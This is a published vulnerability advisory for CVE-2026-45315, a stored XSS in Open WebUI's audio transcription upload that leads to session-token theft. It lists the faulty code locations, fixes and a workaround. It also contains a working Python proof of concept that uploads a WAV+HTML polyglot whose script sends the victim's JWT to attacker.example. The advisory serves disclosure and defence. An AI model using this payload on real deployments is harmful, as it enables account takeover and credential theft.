CVE-2026-45315: Open WebUI: Stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions

Published May 14, 2026
·
Updated

Summary

The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHEDIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.

Details Verified on main @ 8dae237a (v0.9.2): - backend/openwebui/routers/audio.py:1244-1249 — ext = safename.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No allowlist, no cross-check against file.contenttype. - backend/openwebui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(filepath). Starlette derives Content-Type from the filename extension and sets no Content-Disposition. - backend/openwebui/utils/misc.py:889-921 — strictmatchmimetype defaults to ['audio/', 'video/webm'], so Content-Type: audio/wav on the upload passes regardless of the actual body. - backend/openwebui/config.py:1482 — USERPERMISSIONSCHATSTT defaults to True. - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin. - backend/openwebui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False. PoC Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was Content-Type: text/html; charset=utf-8 with no Content-Disposition. python import struct, httpx

data = b'\x80' 44100 wav = struct.pack('<4sI4s4sIHHIIHH4sI', b'RIFF', 36 + len(data), b'WAVE', b'fmt ', 16, 1, 1, 44100, 44100, 1, 8, b'data', len(data)) + data payload = wav + b'<script>alert(document.domain);fetch("https://attacker.example/x?t="+localStorage.token)</script>' r = httpx.post( 'https://VICTIM/api/v1/audio/transcriptions', headers={'Authorization': f'Bearer {ATTACKERJWT}'}, files={'file': ('pwn.html', payload, 'audio/wav')}, ) fn = r.json()['filename'] # '<uuid>.html' #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>

https://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408

Impact Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.

Affected: <= 0.9.2.

Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie. Workaround: set USERPERMISSIONSCHATSTT=False to revoke the upload right from non-admins.

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHEDIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.9.2
0.9.3
openwebui Open WebUI<0.9.3

Event History

May 14, 2026
Advisory Published
via GitHub·08:17 PM
Data Sourced
via GitHub·08:17 PM
DescriptionSeverityWeaknessAffected Software
May 15, 2026
CVE Published
via MITRE·09:26 PM
Data Sourced
via MITRE·09:26 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-45315?

CVE-2026-45315 has been classified with a significant severity due to its ability to execute stored XSS attacks.

2

How do I fix CVE-2026-45315?

To fix CVE-2026-45315, upgrade to version 0.9.3 or later of the open-webui package.

3

What vulnerabilities does CVE-2026-45315 exploit?

CVE-2026-45315 exploits a weakness in the audio transcription upload functionality that allows for stored XSS via manipulated file extensions.

4

What software is affected by CVE-2026-45315?

CVE-2026-45315 affects open-webui versions up to and including 0.9.2.

5

How can I determine if I am vulnerable to CVE-2026-45315?

You may be vulnerable to CVE-2026-45315 if you are using an open-webui version prior to 0.9.3.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203